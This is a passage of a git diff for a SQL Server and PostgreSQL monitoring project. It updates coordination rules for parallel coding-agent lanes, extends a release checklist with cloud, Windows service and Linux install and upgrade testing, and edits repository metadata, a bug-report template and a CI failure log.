 In wave E (2026-09-24), a lane whose brief left `<CHANGELOG_BUFFER_DIR>` unfilled wrote its changelog entry to a
@@ -54,6 +54,11 @@ At dispatch:
   In wave B, every lane read an 8-10k-character PR section to see one example.
 - Label each issue the lane takes `in-progress` (`gh issue edit <n> --add-label in-progress`), so the board shows
   it as taken; remove the label when the issue closes or the work stops.
+- Before dispatching several lanes for one issue, create its issue branch
+  (`git -C <repo> push origin origin/dev:refs/heads/fix/<issue>-<slug>`) and name it in every brief, with the lane
+  that writes the PR summary and the CHANGELOG entry. Open a separate PR only for a part that must ship before the
+  rest; an issue that is really several issues is split into issues first. Reviews of an issue PR built in waves: one
+  round per wave on that wave's commits only, plus one final round on the whole PR.
 
 At each report:
 1. Stop the agent.
@@ -123,6 +128,11 @@ census, one of them introduced by that night's own wave).
 
 - `git -C <repo> fetch origin`, then `git -C <repo> worktree add -b fix/<issue>-<slug> <worktrees>/<name> origin/dev`.
   Use one branch per issue.
+- **An issue that several lanes build** shares one issue branch, `fix/<issue>-<slug>`, which the coordinator creates
+  from `origin/dev` and names in each brief. Create your worktree from `origin/<issue branch>` on a branch of your own
+  (`fix/<issue>-<slug>-<part>`). When done: `git fetch origin`, `git merge origin/<issue branch>`, rerun your targeted
+  tests, and `git push origin HEAD:<issue branch>`. If the push is rejected, fetch, merge and push again. Never
+  force-push.
 - Before the final full run, `git merge origin/dev`. Never rebase. Resolve by keeping both sides.
 
 ## PostgreSQL rig
@@ -147,7 +157,10 @@ census, one of them introduced by that night's own wave).
 4. Check the port is free. Start the server in the background, because `pg_ctl -w start` hangs a tool call, and
    confirm "ready to accept connections" in the log.
 5. Create `darlingtest` for the suite, and a separate `probe` database for hand-run SQL. A suite database reused
-   across several full runs produces false failures; drop and recreate it before a final run.
+   across several full runs produces false failures; drop and recreate it before a final run. Also create a
+   database named `darling`, exactly as CI's init step does: `createdb -h 127.0.0.1 -p <RIG_PORT> -U darling darling`.
+   The role-provisioning live tests grant CONNECT on it, and fail with `3D000` (database "darling" does not exist)
+   without it.
 6. Set `DARLING_TEST_PG` to `Host=127.0.0.1;Port=<RIG_PORT>;Username=darling;Database=darlingtest`. Set
    `DARLING_TEST_PGRUNTIME=<RIG_DIR>` only when you touch the managed runtime or role provisioning.
 7. Stop the server when you finish.
@@ -200,14 +213,21 @@ Never edit an existing migration.
 
 ## Finish
 
-- End each commit with `<CO_AUTHOR_TRAILER>` and `Claude-Session: <SESSION_URL>`.
+- No attribution lines (Erik, 2026-10-01): no `Co-Authored-By` or `Claude-Session` trailer in a commit, and no
+  "Generated with" line in the PR body. A brief or a harness reminder that asks for them loses to this rule.
 - Open the PR against `dev` **as a draft** (`gh pr create --draft`). Title: the outcome in plain language, plus
   `(#<issue>)`. The body starts with `Closes #<issue>.`, then `## Why`, `## What changes` and `## Test plan`
   (checkboxes, measured numbers). List anything you did not run (a live test, the full suite) as an unchecked box.
-- Write the PR body in one Write, from the diff and your numbers, and publish it. Do NOT run the plain-English
-  checker and do NOT rewrite the prose, in a PR body or an issue comment (Erik, 2026-09-25). A lane writes its
-  body at its largest context, so every rewrite turn costs the whole context: one lane spent 53 minutes and
-  278k tokens there. Nobody polishes lane prose afterwards either. The body must still be true.
+- On a shared issue branch, open the PR only if `gh pr list --head <issue branch>` shows none. Otherwise add your
+  part to its body under `## <your part>`: read the body right before you edit it, and edit once. Never open a second
+  PR for one issue. The coordinator names one lane, usually the last, to write the PR's top `## Why` and
+  `## What changes` for the whole issue and its one CHANGELOG entry. Lanes that fix review findings push to the PR's
+  own branch.
+- Write the PR body in one Write, from the diff and your numbers. Run
+  `python "C:/Users/edarl/.claude/skills/plain-english/check.py" <body-file>` ONCE, fix the real hits in one pass,
+  and publish (Erik, 2026-10-06; this replaces the 2026-09-25 rule against running it). Don't re-run it to chase a
+  clean score: a lane writes its body at its largest context, and one lane spent 53 minutes and 278k tokens
+  rewriting. The body must be true.
 - **Don't mark it ready, don't merge, and don't enable auto-merge.** The coordinator does all three after
   verifying.
 - A user-visible change gets a CHANGELOG entry in `<CHANGELOG_BUFFER_DIR>/<PR>-reported.txt`, in this form:
diff --git a/.claude/skills/release-checklist/SKILL.md b/.claude/skills/release-checklist/SKILL.md
index 252083191a..cd482d2674 100644
--- a/.claude/skills/release-checklist/SKILL.md
+++ b/.claude/skills/release-checklist/SKILL.md
@@ -9,7 +9,7 @@ disable-model-invocation: false
 
 Run through the full release prep checklist for PerformanceMonitor. `$ARGUMENTS` is the target version (e.g., `3.3.0`).
 
-> **Scope (since v3.3.0):** the Full Dashboard and the CLI Installer are DEPRECATED and OUT of this process — they ship no release artifacts and get no live install/upgrade testing here. They still build and their test suites still run in CI on the release event, and they inherit the single `<Version>` with everything else in the tree (below). The release artifacts are: Lite (zip + Velopack Setup.exe), the Darling service zip, and the Darling Viewer Setup.exe.
+> **Scope (since v3.3.0):** the Full Dashboard and the CLI Installer are DEPRECATED and OUT of this process — they ship no release artifacts and get no live install/upgrade testing here. The Darling service zip and the Linux tarball DO get live install and upgrade testing, in section 8a. They still build and their test suites still run in CI on the release event, and they inherit the single `<Version>` with everything else in the tree (below). The release artifacts are: Lite (zip + Velopack Setup.exe), the Darling service zip, and the Darling Viewer Setup.exe.
 
 ## Checklist
 
@@ -87,6 +87,8 @@ dotnet build PerformanceMonitor.sln -c Debug -t:Rebuild
 ```
 All projects must succeed with **0 Warning(s) / 0 Error(s)** — the repo's bar is zero-warning, test projects included (they sit outside the WarningsAsErrors gate, so a warm incremental build can hide a warning a Rebuild surfaces).
 
+The statement-column census test fails while any entry or watched writer is pending, in every Darling test run, with or without the variable. Run `DARLING_RELEASE_CUT=1 Darling/Darling.Tests/bin/Debug/net10.0-windows/Darling.Tests.exe -method "*StatementCensus_PendingEntries_BlockARelease*"` to see the list early; the cut proceeds only when it passes. The release workflow (build.yml, the "Statement filter release gate" step) runs the same test with the variable set before it publishes or packages anything, so a release cannot ship while an entry is pending even if this step is skipped; run it here first to see the list early.
+
 (The deprecated Installer/Dashboard test suites run in CI on the release event with the CI's own filter; they are no longer run from this checklist.)
 
 ### 5. Cloud Platform Testing (shared collector layer — test via DARLING)
@@ -106,10 +108,10 @@ Spin up temporary instances with the Azure CLI (`az`) and AWS CLI (`aws`):
 2. Add the Azure logical server to a Darling instance (a local scratch service or an existing dogfooding instance) and let it collect 2+ cycles.
 3. Verify against the store (psql or the web dashboard):
    - `database_size_stats` / size collectors cover ALL databases, not just master (the #1631 fallback class)
-   - server row shows engine edition 5 and collectors inapplicable to Azure SQL DB are SKIPPED as not-applicable, not erroring
+   - server row shows engine edition 5, and no collector that does not apply to Azure SQL DB errors. The SQL Agent collectors (`running_jobs`, `job_history`, `agent_status`) are marked not applicable when the server is added (`add_servers` answers "Agent surface: not applicable") and never run, so they leave no `collection_log` row and no health entry. That is the expected result, not a gap (verified v3.10.0)
    - `collection_log` clean for the cloud server across the cycles
    - the serverless DB's 60s auto-pause + resume (error 40613 transients) does not wedge collection — rows resume after the pause without a service restart
-4. Firewall churn: DELETE the allow rule, wait 3–5 minutes, re-add it. Collection must resume on its own without restarting the service. (CAVEAT, verified v3.2.0: a bare rule-deletion often does NOT sever an actively-collecting client — connection pooling keeps the open connection alive and Azure gates only NEW connections — so treat a no-outage result as inconclusive rather than a pass; the recovery logic's authoritative validation is the unit suites.)
+4. Firewall churn: DELETE the allow rule, wait 3–5 minutes, re-add it. Collection must resume on its own without restarting the service. (CAVEAT, verified v3.2.0: a bare rule-deletion often does NOT sever an actively-collecting client — connection pooling keeps the open connection alive and Azure gates only NEW connections — so treat a no-outage result as inconclusive rather than a pass; the recovery logic's authoritative validation is the unit suites.) To force a real outage (verified v3.10.0): open admin sessions in each user database BEFORE deleting the rule, in case the machine you test from shares the Darling host's egress IP. Delete the rule, wait 6 minutes for it to take effect, then KILL Darling's sessions (`program_name` = `PerformanceMonitorDarling`) from those sessions. KILL is denied in master even for the server admin, so collectors pooled on master keep running. Collectors that open new connections then hit 40615: the `collection_log` message must name the firewall, and those collectors must store rows again after the rule is re-added, with the service's `started_at` unchanged.
 5. Clean up: `az group delete --name rg-release-test --yes --no-wait`
 
 **AWS RDS:** (same `SQL_TEST_PASSWORD` throwaway as above)
@@ -130,7 +132,7 @@ Spin up temporary instances with the Azure CLI (`az`) and AWS CLI (`aws`):
    aws ec2 revoke-security-group-ingress --group-id <sg-id> --protocol tcp --port 1433 --cidr 0.0.0.0/0 --region us-east-1
    ```
 
-Success criteria: no collector errors in the store's `collection_log` for either cloud server, all applicable collectors landing rows, capability skips recorded as skips rather than failures.
+Success criteria: no collector errors in the store's `collection_log` for either cloud server, all applicable collectors landing rows, no inapplicable collector recorded as a failure (RDS records them as capability skips; Azure SQL DB never runs them).
 
 ### 6. Lite Collector Validation
 
@@ -156,6 +158,69 @@ Covers the **desktop apps' own** upgrade via Velopack (`*-Setup.exe`) for **Lite
 
 Local proxy without a release: bump `<Version>`, rebuild, run over the old build → expect the close-and-takeover prompt. The decision logic is unit-tested (`Lite.Tests/SingleInstanceDecisionTests`); this step validates the live Win32/Velopack seam (`SingleInstanceCoordinator` / `ProcessInspector` in `PerformanceMonitor.Ui`). When the seam saw no changes since the prior release, a quick post-publish regression pass is acceptable instead of a pre-cut gate. Design: `plans/single-instance-upgrade-handoff.md`.
 
+### 8a. Darling service install and upgrade (every release)
+
+Section 8 covers the desktop apps. This section covers the Darling service zip and the Linux tarball. They carry their own install and upgrade scripts, which a Velopack run never touches. A service install that works only on a clean machine is the shape that shipped broken in #5627. So none of this is optional, and the unit suites cannot stand in for it.
+
+Run the Windows items on a disposable machine or VM, and point them at a throwaway test instance. Keep the machine-neutral rule: no local instance names, hosts or credentials in anything you record. A cloud test instance gets its throwaway `SQL_TEST_PASSWORD`, as in section 5.
+
+#### (a) The Windows upgrade-shape CI job
+
+The workflow is `.github/workflows/darling-upgrade-shapes.yml`. It runs 14 legs: seven on `windows-2022` and seven on `windows-2025`. Each leg installs a real released build with that build's own scripts, then runs this commit's install or upgrade script over it. The legs cover four shapes:
+- U1: an install on the default virtual account.
+- U2: an install whose service logon was changed to a non-default local account.
+- U3: an install whose service was deleted.
+- U4: a pre-3.9 folder directly under `C:\` that must still refuse and print the move steps.
+
+The workflow runs on pull requests that touch `Darling/tools/*.ps1`, as the `Darling upgrade shapes` job in the nightly, and by manual dispatch. The release commit often carries no such check, so look for the run at its sha. In the release commit's checks or the nightly, confirm all 14 legs ran at that sha and are green, by name. A skipped leg is not a pass. If there is no run at that sha, start one with `gh workflow run darling-upgrade-shapes.yml --ref <release branch>` and wait for it.
+
+Also read the two pins at the top of the workflow, `DARLING_CURRENT_RELEASE` and `DARLING_OLD_RELEASE`. The first must name the last shipped release, and the second a release from before 3.9 that is still downloadable. Record the run URL. If any leg is red or skipped, stop. A red leg blocks the release, and re-running it until it passes is not a fix.
+
+#### (b) `upgrade-darling.ps1` over a real existing install
+
+Do the whole procedure twice: once from the last release, and once from the oldest release still supported.
+
+- **Which release is the oldest supported:** the oldest `Darling/Darling.Tests/Fixtures/migration-ladder-v<version>.sql` in the tree. `MigrationUpgradeLadderLiveTests` climbs the current ladder over every fixture in that folder. Its `TheMostRecentRelease_HasALadderFixture` check keeps the newest shipped release in the set. So the oldest fixture is the oldest store the tests vouch for. Read the folder at release time, and do not copy a version number into this file. Deleting a fixture drops that release from support, so make it a deliberate decision and not a tidy-up.
+- **Set up the old install:** download that release's Darling zip and extract it to `C:\Program Files\PerformanceMonitorDarling`. Write a `darling.json` that points at one throwaway test instance. Install it the way that release documented: its `install-darling.ps1`, or the manual steps in the README's "Upgrading from a build that predates the script" section when that release has no script. Let it collect for at least two cycles. Before upgrading, record `MAX(version)` from `darling_schema_version` and the account the service runs as. Also record the row counts of two or three `collect.*` tables.
+- **Upgrade:** extract the new release zip to a staging folder under `C:\Program Files\` that only administrators can write to. From an elevated PowerShell, run that copy's `upgrade-darling.ps1 -Source <staging folder>`. On one of the two runs, point `-Source` at the downloaded zip with `-Sha256` from the release page, so the hash path runs too. When the old release predates the script, the new zip's script still runs over it, because it finds the install through the registered service. If the README still tells those users to take the manual procedure, walk that once as well. Record which path worked.
+- **Pass, at the script:** it exits 0 without a refusal. It prints that the SHA256 was verified (zip run), that `darling.json` is byte-identical, that the install manifest was written, and "Service is Running".
+- **Pass, 10 to 15 minutes later:** work the five checks the script prints against the store.
+  1. `MAX(version)` equals the new build's top rung.
+  2. `collect.collection_log` has rows for every configured server in the last 15 minutes.
+  3. The collector count is in the mid-30s, not single digits.
+  4. Every non-SUCCESS row since the restart gets read. YIELDED is the lock-timeout guard working. Anything else is a finding.
+  5. One table the release added or changed shows new rows.
+
+  The row counts you recorded before the upgrade must still be there, and the service account must be unchanged. A service that is Running but not collecting is a fail.
+- **What the tests already cover:** the `*RungTests` classes in `Darling/Darling.Tests` pin each migration rung's SQL and probes on every build, with no database. `MigrationUpgradeLadderLiveTests` replays the current ladder over each released store on a scratch PostgreSQL, in the `Darling PostgreSQL tests` job. `DarlingStoreUpgradeTests` and `DarlingStoreUpgradeRevertTests` cover the bundled runtime swap and the in-place PostgreSQL upgrade. They use the old and new runtimes that `Darling/tools/new-upgraded-store-fixture.ps1` builds, and the nightly sets that up.
+- **What the live run adds:** none of those tests runs the upgrade script or the Windows service manager. None of them sees the file ownership and permissions of an install an older build made, or a store holding real rows.
+- **Record:** the from and to versions, the install path, and the schema version before and after. Add the five check results and the tail of the script's output.
+
+#### (c) A fresh `install-darling.ps1` run
+
+Use a machine with no prior install and no `C:\ProgramData\PerformanceMonitorDarling` folder. Extract the release zip to `C:\Program Files\PerformanceMonitorDarling` and copy `darling.sample.json` to `darling.json`. Point it at the test instance, and run `install-darling.ps1` from an elevated PowerShell.
+
+Pass means three things. The pre-flight `--test-connection` shows PASS for each server. The service is created on its virtual account and reaches Running. The same five store checks hold after 10 to 15 minutes.
+
+Then run `uninstall-darling.ps1`, with `-PurgeData` on a machine you will reuse, and confirm the service is gone. Record the pre-flight lines and the five check results.
+
+#### (d) The Linux tarball and the container image
+
+The release also attaches `PerformanceMonitorDarling-linux-x64-<version>.tar.gz` and `SHA256SUMS-linux.txt`. The `darling-linux` job in `build.yml` builds them: a framework-dependent publish of the service, tarred with no wrapper folder. The same job pushes `ghcr.io/erikdarlingdata/performancemonitor-darling`, tagged with the version and `latest`.
+
+Linux has no install script, no upgrade script and no systemd unit file in the tarball. The supported shapes are in the README's "Run on Linux" section. One is the compose stack in `Darling/compose/`. The other is the tarball extracted to `/opt/darling` under a unit written from the README's example, with your own PostgreSQL. 
+
+There is no scripted Linux upgrade path. An upgrade is the same manual steps as a fresh install, over an existing store. So the release must check this by hand:
+
+- **Artifacts:** the tarball and `SHA256SUMS-linux.txt` are on the release, the checksum matches, and the versioned and `latest` image tags exist.
+- **Fresh install, compose:** bring the stack up from this release's `Darling/compose/` files on a fresh volume. The compose file names `:latest`, which still points at the previous release until this one publishes. So run the check with this release's own image tag (`:<version>`), set in the compose file or by an override file for the check. Pass: `docker compose ps` shows the darling container healthy (not `unhealthy`). The log shows the config load and `Postgres store ready`. `collection_log` fills, as in the Windows checks.
+- **Fresh install, systemd:** extract the tarball to `/opt/darling` and install `libgssapi-krb5-2`. Write the unit from the README. Point `DARLING_CONFIG` at a config for a throwaway PostgreSQL 15+ with TimescaleDB, and start it. Pass: the unit is active and the same store checks hold.
+- **Upgrade:** repeat each shape over a store the previous release created. For compose, keep the volume and recreate the container from this release's compose file and image. For systemd, stop the unit, move `/opt/darling` aside, extract the new tarball, keep the config, and start the unit. Pass: the service starts, the store migrates to the new top rung, and collection continues with the earlier rows still present.
+- **Oldest supported:** apply the same fixture rule as (b). If that release did not ship a Linux tarball, say so in the record and use the oldest release that did.
+- **Record:** the same fields as (b), plus the image digest or tarball checksum you tested.
+
+Put the outcome of (a) to (d) in the release's test record. An unchecked box blocks the tag.
+
 ### 9. Nightly Build Verification
 
 Before cutting the release, verify the nightly build has been clean:
diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml
index 098803aba5..5a7e8d2628 100644
--- a/.github/FUNDING.yml
+++ b/.github/FUNDING.yml
@@ -1 +1,3 @@
 github: erikdarlingdata
+patreon: DarlingData
+custom: "https://go.erikdarling.com/Donate"
diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml
index 841abd0aec..7bf8234ff2 100644
--- a/.github/ISSUE_TEMPLATE/bug_report.yml
+++ b/.github/ISSUE_TEMPLATE/bug_report.yml
@@ -85,11 +85,21 @@ body:
     id: errors
     attributes:
       label: Error Messages / Log Output
-      description: Paste any error messages or relevant log entries. Dashboard logs are in %LOCALAPPDATA%\PerformanceMonitor\Logs\; Lite logs are in %LOCALAPPDATA%\PerformanceMonitorLite-Data\logs\ (on versions before the data-root move, %LOCALAPPDATA%\PerformanceMonitorLite\logs\).
+      description: Paste any error messages or relevant log entries. Dashboard logs are in %LOCALAPPDATA%\PerformanceMonitor\Logs\; Lite logs are in %LOCALAPPDATA%\PerformanceMonitorLite-Data\logs\ (on versions before the data-root move, %LOCALAPPDATA%\PerformanceMonitorLite\logs\); Darling logs are in %ProgramData%\PerformanceMonitorDarling\logs\.
       render: text
     validations:
       required: false
 
+  - type: textarea
+    id: diagnostics-bundle
+    attributes:
+      label: Diagnostics bundle (Darling)
+      description: |
+        Run `PerformanceMonitor.Darling.Service.exe --diagnostics-bundle darling-bundle.json` from an elevated prompt in the service folder (Windows). On Linux, run `./PerformanceMonitor.Darling.Service --diagnostics-bundle darling-bundle.json`; for compose, run it with `docker compose exec` and copy the file out with `docker compose cp`.
+        Drag the file here (rename it to .txt if GitHub refuses .json). Host, server and database names in it are replaced with aliases, and secrets are removed. Open it and check it before you attach it.
+    validations:
+      required: false
+
   - type: textarea
     id: screenshots
     attributes:
diff --git a/.github/ci-history/failures.jsonl b/.github/ci-history/failures.jsonl
new file mode 100644
index 0000000000..f6b97b23ad
--- /dev/null
+++ b/.github/ci-history/failures.jsonl
@@ -0,0 +1,731 @@
+{"date":"2026-09-07","head_sha":"7abcaf15220493815da410b23a0509f5f1fa3a8b","event":"pull_request","changed_files":["Darling/Darling.Tests/StoreCopyPhaseTests.cs","Darling/Darling.Tests/StoreWriteReattemptTests.cs","Darling/PerformanceMonitor.Darling.Service/CollectorFaultCopyPhase.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/PostgresTransportFault.cs","Darling/PerformanceMonitor.Darling.Service/StoreWriteReattempt.cs","PerformanceMonitor.Collectors/CollectorContext.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-07","head_sha":"5cba51a487bd08ccb8c252ee1c5efc7393b47714","event":"pull_request","changed_files":["Darling/Darling.Tests/StoreCopyPhaseLivePostgresTests.cs","Darling/Darling.Tests/StoreCopyPhaseTests.cs","Darling/Darling.Tests/StoreWriteReattemptTests.cs","Darling/PerformanceMonitor.Darling.Service/CollectorFaultCopyPhase.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/PostgresTransportFault.cs","Darling/PerformanceMonitor.Darling.Service/StoreWriteReattempt.cs","PerformanceMonitor.Collectors/CollectorContext.cs"],"failed_classes":["Darling.Tests.LiveCleanupConversionRatchetTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-07","head_sha":"a059fe218a30f9d998ea9396cbb379855c423bdf","event":"pull_request","changed_files":["Darling/Darling.Tests/PgIndexBloatBudgetLivePostgresTests.cs","Lite.Tests/PgIndexBloatCollectorDefinitionTests.cs","PerformanceMonitor.Collectors/PgIndexBloatCollector.cs"],"failed_classes":["Darling.Tests.LiveCleanupConversionRatchetTests","Darling.Tests.PgIndexBloatBudgetLivePostgresTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-07","head_sha":"cc29d98125b8f796b66447114bf3c23dd958e156","event":"pull_request","changed_files":["Darling/docs/L3116-skip-arm-probe.md"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["Darling whole-tree guards"]}
+{"date":"2026-09-07","head_sha":"a304350fe32f3fb286518a4c73b9f626785ae4bb","event":"pull_request","changed_files":["Darling/Darling.Tests/RepoFileAdoptionTests.cs","Lite.Tests/LiteLogLevelGateTests.cs","Lite/App.xaml.cs","Lite/Services/AppLogger.cs","Lite/Services/AppLoggerAdapter.cs","Lite/Services/RemoteCollectorService.DefinitionRunner.cs","Lite/config/settings.sample.json","README.md"],"failed_classes":["Lite.Tests.LiteServerTagsStoreTests"],"failed_jobs":["build"]}
+{"date":"2026-09-07","head_sha":"4205ef83306e362c854c9b8285eadb949b034e15","event":"pull_request","changed_files":[".github/workflows/build.yml"],"failed_classes":["Darling.Tests.DarlingAnalysisBudgetTests"],"failed_jobs":["Darling PostgreSQL tests"]}
+{"date":"2026-09-07","head_sha":"01fdeae92aaba8b87216c9e69ec87d9787d03e61","event":"push","changed_files":["Darling/Darling.Tests/PostgresCancelOriginTests.cs","Darling/Darling.Tests/PostgresFaultOutcomeTests.cs","Darling/Darling.Tests/StoreCopyPhaseTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgBaselineProvider.cs","Darling/PerformanceMonitor.Darling.Service/CollectorFaultCancelOrigin.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Targets/PostgresTargetProvider.cs","Darling/README.md"],"failed_classes":["Darling.Tests.DarlingDeployStaleFileTests"],"failed_jobs":["Darling PostgreSQL tests"]}
+{"date":"2026-09-07","head_sha":"4f19be020a4dcca78c8098aa13d3c4db5b551d0d","event":"pull_request","changed_files":["Lite.Tests/Lite.Tests.csproj","Lite.Tests/SharedDuckDbFixture.cs","Lite.Tests/WriteLockBudgetTests.cs","Lite/Database/DuckDbInitializer.cs","Lite/Services/LocalDataService.cs"],"failed_classes":["Lite.Tests.CrossAppGuardCiGateTests"],"failed_jobs":["build"]}
+{"date":"2026-09-07","head_sha":"bf7c8e6bc8f00f5c7fd617639c858e94dd62b34d","event":"pull_request","changed_files":["Lite.Tests/Lite.Tests.csproj","Lite.Tests/SharedDuckDbFixture.cs","Lite.Tests/WriteLockBudgetTests.cs","Lite/Database/DuckDbInitializer.cs","Lite/Services/LocalDataService.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["build"]}
+{"date":"2026-09-07","head_sha":"39a702e4f9d724e3fd0558c46b2587d19fed1a1e","event":"pull_request","changed_files":[".github/dependabot.yml",".github/workflows/build.yml",".github/workflows/nightly.yml","Darling/Darling.Tests/LockedModeRestoreCoverageTests.cs"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["build","Darling PostgreSQL tests","Darling whole-tree guards"]}
+{"date":"2026-09-07","head_sha":"237f69c04c3caaf1e10425f98f2d3f4b623039a0","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertEngineTests.cs","Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Lite.Tests/AlertReadFailureSurfaceTests.cs","Lite/Mcp/McpHealthTools.cs","PerformanceMonitor.Alerting/AlertEngine.cs","PerformanceMonitor.Alerting/AlertReadFailureCounter.cs"],"failed_classes":["Darling.Tests.AlertReadFailureSurfaceTests"],"failed_jobs":["Darling PostgreSQL tests"]}
+{"date":"2026-09-08","head_sha":"3cb494b9abdf5e94f948c823a36088e89ab3e15a","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionLogDrainForensicsStoreTests.cs","Darling/Darling.Tests/CollectionLogPhaseSplitStoreTests.cs","Darling/Darling.Tests/CollectorMeasurementSeamTests.cs","Darling/Darling.Tests/DarlingEmptyEnumerationNoteTests.cs","Darling/Darling.Tests/ServerScopePhaseSplitTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Lite.Tests/CollectorMeasurementNoteTests.cs","Lite.Tests/EmptyEnumerationNoteTests.cs","Lite/Services/RemoteCollectorService.DefinitionRunner.cs","Lite/Services/RemoteCollectorService.cs","PerformanceMonitor.Collectors/BlockedProcessReportCollector.cs","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Collectors/CollectorMeasurement.cs"],"failed_classes":["Darling.Tests.StoreWriteReattemptTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-08","head_sha":"28d98e40af1261cfde60fbe390499d7f5a9b6748","event":"pull_request","changed_files":["Darling/Darling.Tests/RefreshCeilingProvenancePinTests.cs","Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs","Darling/Darling.Tests/TimescaleSupportTests.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.RefreshCeilingProvenancePinTests","Darling.Tests.TimescaleSupportTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-08","head_sha":"e97c2bb91639812dd11619bacf881c7a9333686e","event":"pull_request","changed_files":["Darling/Darling.Tests/RefreshCeilingProvenancePinTests.cs","Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs","Darling/Darling.Tests/TimescaleSupportTests.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.RefreshCeilingProvenancePinTests","Darling.Tests.TimescaleSupportTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-08","head_sha":"ee66f9a95d092000231122ba262601982d5e3a8b","event":"pull_request","changed_files":["Darling/Darling.Tests/MigrationDataMovingRungCensusPins.cs","Darling/Darling.Tests/OperatorRemediationFlowTests.cs","Darling/Darling.Tests/OperatorRemediationGateTests.cs","Darling/Darling.Tests/PlanForceActionStoreTests.cs","Darling/Darling.Tests/PostgresTargetConfigTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSecrets.cs","Darling/PerformanceMonitor.Darling.Service/DarlingServerConnector.cs","Darling/PerformanceMonitor.Darling.Service/MonitoredServerConnection.cs","Darling/PerformanceMonitor.Darling.Service/PgPlanForceActionStore.cs","Darling/PerformanceMonitor.Darling.Service/PlanForceBot.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Service/darling.sample.json","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/tools/provision-roles.sql","Lite.Tests/OperatorRemediationLiteDivergencePinTests.cs","PerformanceMonitor.Analysis/ForcePlanBotPolicy.cs","PerformanceMonitor.Analysis/OperatorRemediationFlow.cs","PerformanceMonitor.Analysis/OperatorRemediationGate.cs"],"failed_classes":["Darling.Tests.CollectorStallProbeStoreTests","Darling.Tests.CollectorStallProbeViewerGateTests","Darling.Tests.DarlingManagedRolesTests","Darling.Tests.DarlingRetentionTests","Darling.Tests.RegisteredServerSettingDriftTests","Lite.Tests.OperatorRemediationLiteDivergencePinTests"],"failed_jobs":["Darling PostgreSQL tests","build","Darling whole-tree guards"]}
+{"date":"2026-09-08","head_sha":"c398ba40dceec3a89503740aee292cf78fb9d1a8","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertDeliveryChannelTests.cs","Darling/Darling.Tests/DarlingAlertingTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingAlertDeliverer.cs","Darling/PerformanceMonitor.Darling.Service/DarlingFindingAlertSender.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.AlertHistory.cs","Lite.Tests/AlertDeliveryChannelTests.cs","Lite.Tests/StoreRoundTripTests.cs","Lite/Services/EmailAlertService.cs","Lite/Services/LocalDataService.AlertHistory.cs","PerformanceMonitor.Notifications/AlertDelivery.cs","PerformanceMonitor.Notifications/EmailSendCore.cs","PerformanceMonitor.Notifications/IAlertHistoryStore.cs","PerformanceMonitor.Notifications/WebhookAlertService.cs","deprecated/Dashboard.Tests/DashboardAlertHistoryValueTests.cs","deprecated/Dashboard.Tests/JsonAlertHistoryStoreDedupKeyTests.cs","deprecated/Dashboard.Tests/JsonAlertHistoryStoreMutedFilterTests.cs","deprecated/Dashboard/Services/EmailAlertService.cs"],"failed_classes":["Darling.Tests.DarlingAlertingTests","Darling.Tests.DarlingDeliveryModeTests","Darling.Tests.DarlingSelfAlertTests","Darling.Tests.ViewerWave3LivePostgresTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
